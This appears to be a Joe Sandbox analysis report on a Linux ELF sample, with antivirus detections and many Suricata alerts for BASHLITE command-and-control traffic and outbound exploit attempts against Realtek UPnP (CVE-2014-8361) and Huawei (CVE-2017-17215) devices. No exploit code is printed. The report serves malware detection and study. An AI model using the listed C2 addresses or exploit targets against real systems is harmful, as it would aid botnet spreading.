2024-10-06T20:01:54.362985+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	36512	167.251.89.0	89	TCP
2024-10-06T20:02:20.741818+0200	2839490	1	Malware Command and Control Activity Detected	192.168.2.15	54212	104.248.167.251	89	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: na.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: na.elf

ReversingLabs: Detection: 71%

Machine Learning detection for sample

Source: na.elf

Joe Sandbox ML: detected

Spreading

Opens /proc/net/* files useful for finding connected devices and routers

Source: /tmp/na.elf (PID: 5832)

Opens: /proc/net/route

Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:45652 -> 104.248.167.251:89
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59256 -> 197.167.179.38:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50184 -> 197.6.95.61:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:51952 -> 197.6.243.246:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49000 -> 197.116.43.94:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46926 -> 156.242.29.171:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52490 -> 156.238.13.216:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52910 -> 41.234.254.118:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40962 -> 156.246.99.143:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44016 -> 41.169.114.35:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42726 -> 41.160.52.73:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56254 -> 197.158.65.252:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39268 -> 41.157.207.255:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52916 -> 197.52.188.84:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45010 -> 156.223.77.80:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49450 -> 197.62.20.152:52869
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:33562 -> 248.167.251.89:89
Source: Network traffic	Suricata IDS: 2839490 - Severity 1 - ETPRO MALWARE ELF/BASHLITE Variant Reporting Arch Type (x86) : 192.168.2.15:60786 -> 167.251.89.0:89
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52486 -> 156.209.222.208:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36682 -> 197.229.12.237:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44004 -> 197.245.110.106:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49850 -> 41.218.74.136:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34404 -> 197.189.46.106:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41368 -> 41.49.2.128:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42524 -> 156.35.78.115:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53674 -> 156.28.135.157:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58802 -> 41.128.20.63:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58404 -> 197.41.142.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48774 -> 197.235.232.143:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59494 -> 197.115.54.7:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52028 -> 197.188.171.59:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37136 -> 197.107.116.23:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:44782 -> 41.152.8.136:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51654 -> 41.58.165.93:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58748 -> 41.160.145.109:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55826 -> 41.219.49.191:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40824 -> 197.23.127.152:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:32888 -> 156.205.129.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51842 -> 197.233.118.113:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34498 -> 156.146.11.26:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55112 -> 197.253.224.211:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60460 -> 197.164.143.249:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42190 -> 156.104.113.198:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35622 -> 197.59.148.206:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42832 -> 156.77.142.2:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47080 -> 197.91.217.111:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41016 -> 197.66.17.119:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56060 -> 156.91.147.218:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56316 -> 197.225.206.52:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:46828 -> 156.67.119.255:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55974 -> 41.224.228.252:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46980 -> 197.150.169.53:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55372 -> 197.137.68.198:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48720 -> 41.240.79.98:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58002 -> 41.147.247.83:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39612 -> 41.183.191.136:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:42670 -> 41.61.136.167:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40368 -> 156.87.207.127:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54606 -> 156.112.233.104:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37054 -> 197.177.84.199:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41246 -> 41.127.219.252:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53276 -> 41.145.82.194:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45600 -> 41.172.241.134:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59470 -> 156.209.57.80:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51694 -> 41.138.115.205:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47168 -> 197.102.208.139:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:38682 -> 197.202.148.63:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:57182 -> 156.140.4.216:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51892 -> 197.164.55.197:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41996 -> 41.216.18.137:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:39338 -> 197.158.249.73:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58908 -> 156.79.32.11:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36388 -> 197.36.180.150:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52228 -> 197.248.131.4:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:56318 -> 41.201.71.143:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:40912 -> 41.135.148.77:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59566 -> 41.111.81.107:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44266 -> 156.171.125.229:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:36268 -> 41.33.42.120:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:55836 -> 41.88.112.9:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:53964 -> 41.228.55.251:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50170 -> 197.164.168.63:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41462 -> 156.254.20.162:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:51070 -> 41.113.206.125:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:42984 -> 41.14.170.201:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:54270 -> 197.104.236.18:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:41954 -> 197.239.132.38:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41034 -> 41.52.161.212:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:59072 -> 41.86.8.174:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:37264 -> 156.11.241.64:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:52056 -> 41.68.38.42:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53074 -> 197.30.226.169:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:58434 -> 156.78.143.45:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:49878 -> 41.84.181.199:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35234 -> 41.8.233.71:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59818 -> 197.66.205.185:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50658 -> 197.85.205.5:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:50154 -> 197.163.24.101:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:43324 -> 41.50.215.105:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53332 -> 156.59.176.98:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47952 -> 197.155.113.135:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:41804 -> 197.248.57.110:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47240 -> 197.109.187.45:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:60050 -> 41.150.0.113:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37310 -> 156.169.96.48:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:56118 -> 197.63.163.35:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:35140 -> 197.196.108.9:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58702 -> 41.26.146.231:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58928 -> 197.252.154.175:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:47522 -> 41.21.163.213:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44816 -> 41.120.65.207:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:44246 -> 41.216.41.161:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53652 -> 41.196.72.88:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50744 -> 156.135.133.206:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:59994 -> 197.218.118.61:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:50744 -> 156.43.59.77:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47026 -> 197.89.171.150:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:54780 -> 41.10.114.12:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55362 -> 156.133.233.253:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58166 -> 197.192.233.157:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:34816 -> 156.159.83.36:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55872 -> 156.136.209.164:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33120 -> 197.183.46.225:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:34380 -> 156.140.244.109:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:40318 -> 41.126.219.241:52869
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:45940 -> 156.121.102.48:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55108 -> 197.164.25.106:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46858 -> 156.252.170.108:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:39718 -> 41.32.233.53:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:57252 -> 156.80.69.183:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:53076 -> 156.189.150.200:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46142 -> 41.117.90.99:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45922 -> 41.17.121.18:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:47958 -> 156.147.156.210:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:58926 -> 41.163.209.214:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:45390 -> 41.241.161.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:46368 -> 156.33.124.178:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:55172 -> 197.247.139.132:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:36376 -> 197.24.111.30:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:48842 -> 197.63.54.18:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:49766 -> 156.203.1.203:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:33578 -> 197.29.5.14:52869
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:48806 -> 197.45.60.52:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.15:37592 -> 197.164.91.95:37215
Source: Network traffic	Suricata IDS: 2027339 - Severity 1 - ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound : 192.168.2.15:52038 -> 197.223.1.202:52869
